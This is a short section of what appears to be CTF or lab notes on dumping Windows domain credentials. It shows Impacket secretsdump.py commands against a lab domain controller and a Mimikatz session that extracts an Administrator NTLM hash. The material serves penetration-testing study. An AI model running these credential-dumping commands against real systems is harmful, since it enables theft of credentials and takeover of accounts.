Dumping Hashes¶
Extracting Hashes as a Backup Operator¶
Impacket’s secretsdump.py will perform various techniques to dump secrets from the remote machine without executing any agent. Techniques include reading SAM and LSA secrets from registries, dumping NTLM hashes, plaintext credentials, and kerberos keys, and dumping NTDS.dit. The following command will attempt to dump all secrets from the target machine using the previously mentioned techniques.
secretsdump.py spookysec.local/backup@10.10.125.64 # input the password when prompted
/usr/share/doc/python3-impacket/examples/secretsdump.py spookysec.local/backup@10.10.125.64
Extracting Hashes via Mimikatz¶
Mimikatz is a powerful post-exploitation tool that can be used to extract plaintext passwords, hashes, PIN codes, and kerberos tickets from memory. The following command will extract hashes from the target machine.
C:\Users\Administrator\Downloads>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #18362 May 2 2020 16:23:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # lsadump::lsa /patch
Domain : CONTROLLER / S-1-5-21-849420856-2351964222-986696166
RID : 000001f4 (500)
User : Administrator
LM :
NTLM : 2777b7fec870e04dda00cd7260f7bee6
...
...
...
mimikatz #